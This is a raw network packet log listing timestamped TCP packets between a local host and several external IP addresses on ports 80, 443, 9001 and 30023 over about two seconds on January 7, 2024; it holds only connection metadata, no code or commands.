Jan 7, 2024 05:29:52.094116926 CET	49746	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:52.095391989 CET	49746	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:52.095401049 CET	443	49746	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:52.095659971 CET	443	49746	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:52.096833944 CET	49746	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:52.096940041 CET	49746	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:52.096945047 CET	443	49746	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:52.106693983 CET	49743	9001	192.168.2.4	78.46.174.72
Jan 7, 2024 05:29:52.106740952 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.177561045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.177659988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.177731991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.180435896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.180450916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.180496931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.180989027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.181062937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.181138992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.181166887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.181276083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.181328058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.185548067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.187891960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.187941074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.187968016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.188041925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.188086987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.188097954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.188150883 CET	30023	49747	185.220.101.23	192.168.2.4
Jan 7, 2024 05:29:52.188375950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.188420057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.188469887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.188713074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.188771963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.188862085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.188901901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.188950062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.188971043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.189069033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.189115047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.189165115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.231271029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.231344938 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.231374979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.231417894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.231493950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.231626987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.232047081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.232099056 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.232109070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.232507944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.233439922 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.301177979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.301306009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.301382065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.371501923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.371550083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.371635914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.374402046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.374490023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.374548912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.375261068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.375334978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.375438929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.375494003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.375509024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.375562906 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.381741047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.381841898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.381892920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.381897926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.381983042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.382208109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.382258892 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.382327080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.382375956 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.382414103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.382499933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.382615089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.382666111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.382683039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.382723093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.382790089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.382879019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.385437965 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.425127029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.425199032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.425259113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.425292969 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.425339937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.425384045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.426172018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.426342010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.426387072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.427615881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.427710056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.429446936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.496543884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.496645927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.496727943 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.521784067 CET	443	49746	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:52.521909952 CET	443	49746	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:52.522083044 CET	49746	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:52.522303104 CET	49746	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:52.522320032 CET	443	49746	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:52.536355972 CET	49748	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:52.536391973 CET	443	49748	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:52.536611080 CET	49748	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:52.537049055 CET	49748	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:52.537061930 CET	443	49748	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:52.565726995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.565799952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.565871954 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.568810940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.568886042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.569545984 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.569762945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.569778919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.569828987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.569874048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.569966078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.573436975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.576155901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.576242924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.576355934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.576410055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.576415062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.576447964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.576453924 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.576565027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.576641083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.576689005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.576714039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.576751947 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.576780081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.576854944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.577431917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.579401016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.579487085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.581443071 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.619687080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.619851112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.619987965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.620012999 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.620095968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.620141029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.620901108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.620919943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.621445894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.623455048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.623605013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.623646021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.691137075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.691294909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.691355944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.700452089 CET	49747	30023	192.168.2.4	185.220.101.23
Jan 7, 2024 05:29:52.723432064 CET	443	49748	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:52.723512888 CET	49748	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:52.724693060 CET	49748	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:52.724704027 CET	443	49748	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:52.724967003 CET	443	49748	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:52.726457119 CET	49748	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:52.726583958 CET	49748	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:52.726589918 CET	443	49748	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:52.759900093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.759919882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.759984970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.763464928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.763545990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.763598919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.763639927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.763760090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.763840914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.767074108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.767158031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.767219067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.770365000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.770457029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.770519018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.770558119 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.770637035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.770679951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.770721912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.770912886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.770961046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.771217108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.771230936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.771277905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.771449089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.771644115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.771701097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.775034904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.775126934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.775175095 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.815094948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.815148115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.815164089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.815220118 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.815237999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.815335989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.816481113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.816574097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.816620111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.818658113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.818744898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.818792105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.874567986 CET	30023	49747	185.220.101.23	192.168.2.4
Jan 7, 2024 05:29:52.885596037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.885673046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.885741949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.954828978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.954893112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.954963923 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.958214045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.958230019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.958283901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.958524942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.958548069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.958592892 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.962182045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.962235928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.962280035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.964867115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.964961052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.965007067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.965019941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.965058088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.965099096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.965182066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.965270042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.965390921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.965437889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.965452909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.965487957 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.967807055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.967895031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.967945099 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.969701052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.969790936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.969836950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.009445906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.009955883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.010016918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.010024071 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.010077000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.010179996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.010694027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.010710955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.010751963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.012840986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.012855053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.012900114 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.080670118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.080760002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.080804110 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.150151968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.150183916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.150331020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.153333902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.153372049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.153410912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.153567076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.153626919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.153793097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.157733917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.157748938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.157785892 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.160834074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.160880089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.160893917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.160918951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.160949945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.160983086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.161443949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.161462069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.161505938 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.161535025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.161552906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.161590099 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.163593054 CET	443	49748	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.163717031 CET	443	49748	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.163764954 CET	49748	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.163912058 CET	49748	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.163929939 CET	443	49748	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.163988113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.164072990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.164108038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.165790081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.165806055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.165846109 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.182032108 CET	49750	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.182070971 CET	443	49750	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.182132959 CET	49750	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.183267117 CET	49750	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.183283091 CET	443	49750	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.205533981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.205560923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.205574989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.205588102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.205601931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.205621004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.206173897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.206188917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.206223965 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.208524942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.208542109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.208595991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.274684906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.274775028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.274838924 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.343832970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.343889952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.343935966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.347584963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.347656012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.347728014 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.347949982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.348052979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.348092079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.351432085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.351516008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.351557970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.354511976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.354613066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.354626894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.354655981 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.354687929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.354726076 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.355134010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.355237007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.355278969 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.355304956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.355362892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.355403900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.357666016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.357743979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.357786894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.359774113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.359823942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.359874964 CET	49735	80	192.168.2.4	91.215.85.120
